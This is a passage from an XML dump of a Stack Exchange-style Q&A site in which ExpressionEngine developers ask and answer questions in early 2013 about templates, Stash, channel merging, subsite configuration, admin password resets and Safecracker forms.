src=&quot;http://placehold.it/133x100/&amp;amp;text=No Image&quot; alt=&quot;No Image&quot;/&amp;gt;&#xA;{if:elseif &quot;{member_images:total_rows}&quot; == 1}&#xA;    {!-- Only one image uploaded. Display that image as avatar. --}&#xA;    {member_images}&#xA;        &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;    {/member_images}&#xA;{if:elseif &quot;{member_images:total_rows}&quot; &amp;gt; 1}&#xA;    {if '{member_images:total_rows search:default=&quot;y&quot;}' == 0}&#xA;        {!-- Multiple images uploaded, but none defined as default. Display first image as avatar. --}&#xA;        {member_images limit=&quot;1&quot;}&#xA;            &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;        {/member_images}                                                    &#xA;    {if:elseif '{member_images:total_rows search:default=&quot;y&quot;}' == 1}&#xA;        {!-- Multiple images uploaded, and one defined as default. Display that image as avatar. --}                                &#xA;        {member_images search:default=&quot;y&quot;}&#xA;            &amp;lt;img class=&quot;img-polaroid&quot; src=&quot;{member_image:133x100}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;        {/member_images}                            &#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-01-07T00:34:48.153" LastActivityDate="2013-03-26T05:06:53.197" Title="Strange Stash Problem When Embedding" Tags="|templates|stash|" AnswerCount="1" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostTypeId="2" ParentId="2291" CreationDate="2013-01-06T03:50:41.223" Score="1" Body="&lt;p&gt;You could use a combination of &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, multiple &lt;code&gt;exp:channel:entries&lt;/code&gt; loops and a snippet (optionally) to build your solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet: sn_set_fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;entries&quot;}&#xA;  {stash:title}{title}{/stash:title}&#xA;  {stash:channel}{channel}{/stash:channel}&#xA;  {stash:id}{entry_id}{/stash:id}&#xA;  {stash:date}{entry_date}{/stash:date}&#xA;{/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_1&quot; limit=&quot;1&quot;}&#xA;  {sn_set_fields}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;channel_2&quot; limit=&quot;1&quot;}&#xA;  {sn_set_fields}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;entries&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; process=&quot;end&quot;}&#xA;  &amp;lt;li&amp;gt;{date format=&quot;%d/%m/%Y&quot;} from {channel}: {title}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As people have suggested, use the multiple channel entries loops so you can take advantage of the limit of 1 per channel. But using Stash, you're able to combine them and control the output of them as if they were one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smarter people than me will be able to comment on performance issues with this.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-06T03:50:41.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2365" PostTypeId="2" ParentId="2361" CreationDate="2013-01-06T04:51:22.037" Score="10" Body="&lt;p&gt;As far as I know ExpressionEngine will use one or the other, SHA1 or MD5 (I &lt;em&gt;believe&lt;/em&gt; SHA1 is the default). In my test it actually worked to use either one when replacing the password, allowing me to login just fine in both cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use MySQL to generate a new password hash for yourself. For example either &lt;code&gt;SELECT SHA1('pass123')&lt;/code&gt; or &lt;code&gt;SELECT MD5('pass123')&lt;/code&gt; will generate a string for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following MySQL query would set your new password to &quot;pass123&quot; (where your &lt;code&gt;member_id&lt;/code&gt; is 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_members&#xA;SET password = SHA1('pass123')&#xA;WHERE member_id = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you don't want to use MySQL then this online &lt;a href=&quot;http://www.miraclesalad.com/webtools/sha1.php&quot;&gt;SHA1 hash generator&lt;/a&gt; or &lt;a href=&quot;http://www.miraclesalad.com/webtools/md5.php&quot;&gt;MD5 hash generator&lt;/a&gt; tool also works. Just copy the string and then using PHPMyAdmin, Sequel Pro, or similar, find your user record in the &lt;code&gt;exp_members&lt;/code&gt; table and replace your current &lt;code&gt;password&lt;/code&gt; with the new string .&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-01-06T14:20:48.460" LastActivityDate="2013-01-06T14:20:48.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostTypeId="1" AcceptedAnswerId="4774" CreationDate="2013-01-06T07:02:31.173" Score="4" ViewCount="207" Body="&lt;p&gt;I need to set up a checkout system when certain products say, a camera, can be either purchased OR rented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how this could be accomplished with separate entries for purchase/rental options. Using price modifiers will handle the different rental options nicely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I don't want site admins to have to enter this content multiple times however. Anyone know the best way to approach this?&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="268" LastEditDate="2013-01-07T03:30:17.477" LastActivityDate="2013-01-15T01:30:02.127" Title="Cartthrob: How to set up product that is available for rent OR purchase?" Tags="|add-on|cartthrob|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostTypeId="1" AcceptedAnswerId="2369" CreationDate="2013-01-06T08:51:31.380" Score="4" ViewCount="312" Body="&lt;p&gt;I accidently created two channels ( news &amp;amp; press-releases ). They share the same custom-fields - how do I merge them ( news into press-releases ) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried this ( 23 being the id of press-releases and news is 1 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE exp_channel_data&#xA;SET exp_channel_data.channel_id=23&#xA;WHERE exp_channel_data.channel_id=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my News-entries are is still showing up under the edit news in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ? ( hope I don't have to do it manually :) )&lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2013-01-06T11:30:22.130" Title="EE - move channel entries from one channel to another ( they share the same channel fields )" Tags="|control-panel|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2368" PostTypeId="2" ParentId="2367" CreationDate="2013-01-06T11:25:41.943" Score="3" Body="&lt;p&gt;You have to update the exp_channel_titles table too.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-06T11:25:41.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2369" PostTypeId="2" ParentId="2367" CreationDate="2013-01-06T11:30:22.130" Score="7" Body="&lt;p&gt;If the item uses the same field_group, you can generally switch channels via the edit menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the 'Edit' Menu, Select the Entry, while in the Entry, Select the Options Tab. The choice of channels you can move the item to is listed. See image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2GuPU.png&quot; alt=&quot;edit_menu_option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you were going to do it via query, you need to update multiple database tables: exp_channel_titles and exp_channel_data being the two primary. Based on your query, the titles are still the old channel and the data is now associated with the new channel.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-06T11:30:22.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2370" PostTypeId="2" ParentId="2291" CreationDate="2013-01-06T11:41:41.140" Score="1" Body="&lt;p&gt;With just the channels entry tag, this can't be done. As you can an imagine, you can tell the tag to pull from two or more channels, but you can't tell it you only want a single entry from channel 'b'. So…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|events&quot; limit=&quot;5&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;}&#xA;  {fields}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would get you the five most recent items, but no guaranteed ratio of news vs events. You could use a custom query to pull the items from the database as you like, or as @JasonVarga mentions &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; could be used to pull the queries individually, then group them together.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-06T11:41:41.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2371" PostTypeId="1" AcceptedAnswerId="2419" CreationDate="2013-01-06T13:58:10.287" Score="2" ViewCount="2415" Body="&lt;p&gt;I'm running multiple domains/sites with one EE install without using MSM (I don't need the power or complexity and to save licence fees).&#xA;I have copied the index.php file to the subsidiary domain and edited the Custom Config Values as per instructions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = 'ocoach';&#xA;$assign_to_config['template'] = 'index';&#xA;$assign_to_config['site_index'] = 'http://www.xyz.co.uk';&#xA;$assign_to_config['site_404'] = 'ocoach/404';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to have url's like:&lt;br&gt;&#xA;domain.co.uk/item/url_title&lt;br&gt;&#xA;domain.co.uk/category/category_url_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a template group called ocoach and templates within in called, index, item, category, 404. I've got seg2cat installed.&#xA;But I get the 404 page when I use either of the above url's.&#xA;If I go in and tick the &quot;Make the index template in this group your site's home page?&quot; it all works.&#xA;But if I want to have multiple domains using different template groups I can't set the default in the EE control panel.&#xA;I thought that setting it in the index.php file in each domain would override the control panel, but it doesn't seem to make it the default, just the one to use.&#xA;I've searched around and can't find mention of setting the &quot;default_template_group&quot; as a config variable.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-01-06T15:03:34.247" LastActivityDate="2013-01-09T22:46:25.937" Title="How to set the default template group in index.php" Tags="|templates|url|config-overrides|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostTypeId="1" AcceptedAnswerId="2373" CreationDate="2013-01-06T14:42:52.817" Score="2" ViewCount="118" Body="&lt;p&gt;I have a client, using EE1.6.8, that acquired a list of spammer IPs and added the list to Admin &gt; Members &gt; Banned Members.  I don't know what IPs were in that list, but whatever the case, the front end of the site is now blank and neither of us is able to log in as super admins to undo the change. So I'm looking to go into the database itself, find the offending IP list and remove it.  But I haven't managed to figure out in which table this list of banned members would be stored.  Can someone point me in the right direction so I can help my client restore his site?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="28" LastEditDate="2014-06-20T15:57:36.717" LastActivityDate="2014-06-20T15:57:36.717" Title="In what table in EE1 are banned user IPs stored?" Tags="|members|ee1|banned|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2373" PostTypeId="2" ParentId="2372" CreationDate="2013-01-06T15:11:41.230" Score="6" Body="&lt;p&gt;That data is stored in the exp_sites table in the site_system_preferences column in a serialized array.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-01-06T15:11:41.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2374" PostTypeId="2" ParentId="2371" CreationDate="2013-01-06T15:20:26.330" Score="3" Body="&lt;p&gt;You've probably already done some of this, but I'm providing you my process of doing subsites, under EE2 without Multi-Site Manager (MSM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the subsite folder's index.php file, I set the following…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* -- Multiple Site Manager --  */&#xA;$assign_to_config['site_name']  = 'subsite';&#xA;$assign_to_config['cp_url'] = 'http://subsite.org/admin.php';&#xA;$assign_to_config['site_url'] = 'http://subsite.org';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* -- CUSTOM CONFIG VALUES --  */&#xA;$assign_to_config['template_group'] = 'subsite';&#xA;$assign_to_config['template'] = 'index';&#xA;$assign_to_config['site_index'] = '';&#xA;$assign_to_config['site_404'] = '';&#xA;$assign_to_config['global_vars'] = array(&#xA;    'subsite_id' =&amp;gt; 'subsite',&#xA;    'domain' =&amp;gt; 'http://subsite.org',&#xA;    'site_name' =&amp;gt; 'My Subsite',&#xA;    'googleSearchToken' =&amp;gt; 'token',&#xA;    ); // This array must be associative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in config.php I change the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* -- URI PROTOCOL --  */&#xA;$config['uri_protocol'] = &quot;AUTO&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = &quot;PATH_INFO&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This last switch is a pretty big deal on most of the servers I work on for getting subsites to work properly. I've only worked on our development server without having to switch to 'PATH_INFO' on all our production servers seem to require it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other items seem to be more, as you need them. For example, we don't always allow logging in via the sub site, so mostly the cp_url points to the main domain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['cp_url'] = 'http://main-domain.org/admin.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we always have a few &lt;code&gt;global_vars&lt;/code&gt; but many sites have none, etc. But the adjustment in the &lt;code&gt;config.php&lt;/code&gt; file, seems to be the key component to make everything work.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-06T15:20:26.330" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2375" PostTypeId="1" CreationDate="2013-01-06T16:30:43.417" Score="1" ViewCount="129" Body="&lt;p&gt;I'd like to have the flag banner in our Expressionengine Discussion Forum appear only &lt;a href=&quot;http://www.medicare-cms.com/forums&quot; rel=&quot;nofollow&quot;&gt;on the forum homepage&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm taking a college php class but we haven't gotten far enough for me to know how to write the code.  Any help is greatly appreciated.   &lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="268" LastEditDate="2013-01-07T03:34:15.977" LastActivityDate="2014-01-12T15:19:28.567" Title="EE 2.5.5 Discussion Forum banner customization" Tags="|php|forum|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2376" PostTypeId="1" AcceptedAnswerId="2458" CreationDate="2013-01-06T16:49:15.737" Score="2" ViewCount="42" Body="&lt;p&gt;How are wiki search result URLs constructed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded from EE 1 to EE 2 a few months ago and I've found what I think is a lingering problem since then: one of my small wikis is returning a 404 page for any search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably because I do use some extensive URL rewriting, but it seems then that the result URLs must have changed between EE 1 and EE 2, so an example of those would be great to have.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-01-08T22:19:10.523" Title="Wiki search leads to 404 page" Tags="|wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2377" PostTypeId="1" AcceptedAnswerId="2389" CreationDate="2013-01-06T20:19:35.013" Score="1" ViewCount="46" Body="&lt;p&gt;I’ve a redactee’s channel field named “messaggio” and this is my code inside the safecracker form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Scrivi la tua richiesta*&amp;lt;/label&amp;gt;&#xA;{field:messaggio} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the result is only a simple textarea and not Redactee&#xA;How can i resolve it?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-01-07T11:16:29.330" Title="Redactee and Safecracker" Tags="|safecracker|redactor|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2378" PostTypeId="1" AcceptedAnswerId="2397" CreationDate="2013-01-06T22:06:29.233" Score="6" ViewCount="162" Body="&lt;p&gt;I am about to extend my site quite extensively. At the moment I have a new channel and a walks channel (I list dog walks!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am opening up to creating a directory of dog services and amenities, hotels etc and was wondering what the best way to do this would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I will be offering listing for several different types of businesses, but although some of them will share certain types of data (i.e. name of business, address, contact details etc, there will be quite a few differences as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what would generally be considered best practise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option one&lt;/strong&gt;&#xA;I have channels for:&#xA;Dog Walkers - this will include name, address, telephone, rates, logo, and description fields.&#xA;Dog Friendly Hotels - this will include name, address, telephone, logo, website link, gallery amenities and description fields.&#xA;Pet Shop - this will include name, address, logo, and opening times fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option two&lt;/strong&gt;&#xA;I create a single channel that includes all the above fields and they are just shown/not shown based on what type of business it is (defined by business type within the category)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My feeling is that its logical to break it down into seperate channels, however I do not really want to do this if its likely to have an adverse affect on performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this question makes sense! Any thoughts, pros/cons appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**forgot to add that these entries will be added via a safecracker form, and not through the admin cp.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-07T14:57:17.317" Title="Lots of channels with small number of fields or one channel with lots of fields - efficient?" Tags="|channel-entries|channel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2379" PostTypeId="2" ParentId="2378" CreationDate="2013-01-06T22:19:00.743" Score="4" Body="&lt;p&gt;Personally, I would put those into their own channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could certainly have 1 field group between 2 channels and then customise the form on the basis of what you need for that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would recommend 1 channel for 1 field group. &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-06T22:19:00.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2380" PostTypeId="1" AcceptedAnswerId="2384" CreationDate="2013-01-07T03:37:03.210" Score="1" ViewCount="118" Body="&lt;p&gt;I am using Membrr and have the following process in place:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Users sign up using Safecracker Registration&lt;/li&gt;&#xA;&lt;li&gt;Users click on the activation link in their email&lt;/li&gt;&#xA;&lt;li&gt;Users are automatically logged in and redirected to a &quot;choose your membership plan&quot; Safecracker page (using the add-on: &lt;a href=&quot;http://devot-ee.com/add-ons/member-activation-redirect&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/member-activation-redirect&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;For 2 of the membership plans, users are redirected to a Safecracker &quot;profile manager&quot;. Users remain logged in and are able to access the profile manager. The profile manager has a check {if logged_out} to redirect them to the sign in page, if needed.&lt;/li&gt;&#xA;&lt;li&gt;For 1 of the membership plans, users are redirected to the EE control panel (/system/). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PROBLEM: users who picked the membership plan in #5 are prompted to log in at the EE log in page. It's as if they aren't logged in anymore. Users can still log in using the credentials they signed up with, though. Any ideas what might be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all cases, once the user selects a membership plan, they are redirected to the &quot;profile manager&quot; template that has the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    {redirect='/sign-in/'}&#xA;{/if}&#xA;&#xA;{exp:membrr:not_subscribed}&#xA;    {redirect='/membership-plans/'}&#xA;{/exp:membrr:not_subscribed}&#xA;&#xA;{!-- Redirect to EE CP --}&#xA;{if group_id == '8'}&#xA;    {redirect='/system/'}&#xA;{/if}&#xA;&#xA;... profile manager template stuff down here ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-07T04:13:43.753" Title="Logged in member redirected to CP: prompted to log in again" Tags="|members|control-panel|safecracker-registration|membrr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2381" PostTypeId="1" AcceptedAnswerId="4950" CreationDate="2013-01-07T03:42:38.667" Score="2" ViewCount="474" Body="&lt;p&gt;I've just discovered that for some channel fields (from investigations so far, those that are marked for markdown formatting) &lt;code&gt;{encode email=&quot;you@example.com&quot; title=&quot;send me an email&quot;}&lt;/code&gt; will that tag as is in the output.  Obviously the whole point of using encode was not to expose the raw email address, so how can I get the encoding to work again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Let me clarify that even though I have an answer up here, I'm looking for a better answer, so that is why I haven't marked mine as accepted yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt; After some more poking around I've found that I have this issue in any fieldtype and any channel (as far as my testing has roamed) From discussions with others it doesn't seem to be the case that encode doesn't work in general anymore so it must be either something in my configuration, something in my environment, or something in my install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked through my config bootstrap and my config.php and see nothing that should be causing this, though I'm not aware of an option for disabling the encode tag, so I don't know what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server environment has not had any significant changes recently, I don't think this is likely to be it though I won't rule it out 100% if someone has an idea of an environment related cause that I should look into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My install is potentially the cause.  I have some unreleased (session handling related) code from EllisLab that was necessary to address some security concerns raised by a security audit we performed.  This had a bug in it before which caused an issue with doing ajax queries in the control panel.  I don't think it is likely that there is a bug in that code causing this, but it is possible.  Any guidance on where in the EE codebase I should look for the code that should be doing the transform (the typography class?) I'll jump in and debug it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result of this is that I don't have a good guess for what the cause of this issue is, and would like some help in figuring it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 3&lt;/strong&gt; I can confirm that the code that handles email encoding seems to be in the typography class, but I'm having some difficulty figuring out why my &lt;code&gt;{encode}&lt;/code&gt; tags are not working.  I'll put a bounty on this question to try out the bounty system, and to see if I can get an answer to this.  I'll be trying to find the answer first.  Feel free to beat me to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 4&lt;/strong&gt; I found a partial answer and have posted it in the answers section of this question.  Now I'm looking for an answer about why convert_curly is on in my install and how to turn it off without changing a core file.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-01-15T08:37:44.253" LastActivityDate="2013-01-20T11:48:24.150" Title="email encode tag returning the tag as is in channel entries" Tags="|ee2|email|encode|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2382" PostTypeId="2" ParentId="2381" CreationDate="2013-01-07T03:42:38.667" Score="2" Body="&lt;p&gt;One solution I found is to use &lt;code&gt;[email=&quot;you@example.com&quot;]send me an email[/email]&lt;/code&gt; instead of the curly bracket method.  It seems like the parser is converting the curly bracket to an entity and then not parsing the tag as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution seems like it is going to require some fairly extensive search and replace either using the search and replace tool provided by EE, or writing my own script (or find an addon) to let me do a regular expression search and replace on the database, so it would be better if there was a way to make &lt;code&gt;{encode}&lt;/code&gt; work as expected.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="28" LastEditDate="2013-01-07T04:00:25.817" LastActivityDate="2013-01-07T04:00:25.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2383" PostTypeId="2" ParentId="2380" CreationDate="2013-01-07T03:46:29.860" Score="0" Body="&lt;p&gt;Is it possible that the page they start out at is an http page, and when they get sent to the control panel they are switched over to https?  This could cause them to suddenly not be logged in again.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-01-07T04:13:43.753" LastActivityDate="2013-01-07T04:13:43.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2384" PostTypeId="2" ParentId="2380" CreationDate="2013-01-07T03:54:11.200" Score="1" Body="&lt;p&gt;It could be that the URL is switching between &lt;code&gt;http://www.domain.com&lt;/code&gt; and &lt;code&gt;http://domain.com&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If this is the case, you need to set a &amp;quot;Cookie Domain&amp;quot; on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Cookie Settings page&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;FROM THE DOCS:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This preference allows you to set your cookie domain. The vast majority of people will want to set this to:&lt;/p&gt;&#xA;&lt;p&gt;.example.com&lt;/p&gt;&#xA;&lt;p&gt;Obviously you’ll use your actual domain name instead of ”.example.com”. Note the period at the beginning as it is very important. Setting the cookie domain like this will allow the cookies to work regardless of whether people specify your URL with the www part or only the http:// part.&lt;/p&gt;&#xA;&lt;p&gt;If you want to restrict your cookies to a single subdomain then you may set that here as well:&lt;/p&gt;&#xA;&lt;p&gt;.subdomain.example.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-07T04:05:17.987" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2385" PostTypeId="2" ParentId="2375" CreationDate="2013-01-07T04:26:28.840" Score="1" Body="&lt;p&gt;Something like this should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;     $url = $_SERVER['REQUEST_URI'];&#xA;     $segment = explode(&quot;/&quot;, $url);&#xA;&#xA;     if ($segment[2] == &quot;&quot;){&#xA;       echo &quot;&amp;lt;img src='/path/to/image/'&amp;gt;&quot;;&#xA;     }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This says if segment #2 is equal to blank display the banner. So the banner will only show when the URL is /forum/.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-07T04:26:28.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2388" PostTypeId="1" AcceptedAnswerId="2416" CreationDate="2013-01-07T10:41:22.810" Score="2" ViewCount="424" Body="&lt;p&gt;After a member is registered via &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;, how do I allow the member to update his/her Channel entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safecracker Registration has the option &lt;code&gt;edit_member=&quot;yes&quot;&lt;/code&gt;, so I created a Safecracker form with the fields I want members to be able to update. The opening tag is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;members&quot; class=&quot;form-horizontal&quot; edit_member=&quot;yes&quot; error_handling=&quot;inline&quot; id=&quot;profile_manager_about_me&quot; include_jquery=&quot;no&quot; return=&quot;/profile-manager/&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While the member is logged in and submits the Safecracker form, a field error is returned stating that the &lt;code&gt;email&lt;/code&gt; field is required (it's not one of the fields to be edited).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Safecracker Registration's &lt;code&gt;edit_member=&quot;yes&quot;&lt;/code&gt; only supposed to be used when you are also editing member data along with possibly the Channel entry data? How can I edit just the Channel entry data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I use the global variable &lt;code&gt;member_id&lt;/code&gt; to get the current member's entry in the Channel, then get that result's &lt;code&gt;entry_id&lt;/code&gt; (there should only be one, I think), then use the &lt;code&gt;entry_id&lt;/code&gt; as a parameter in the Safecracker tag 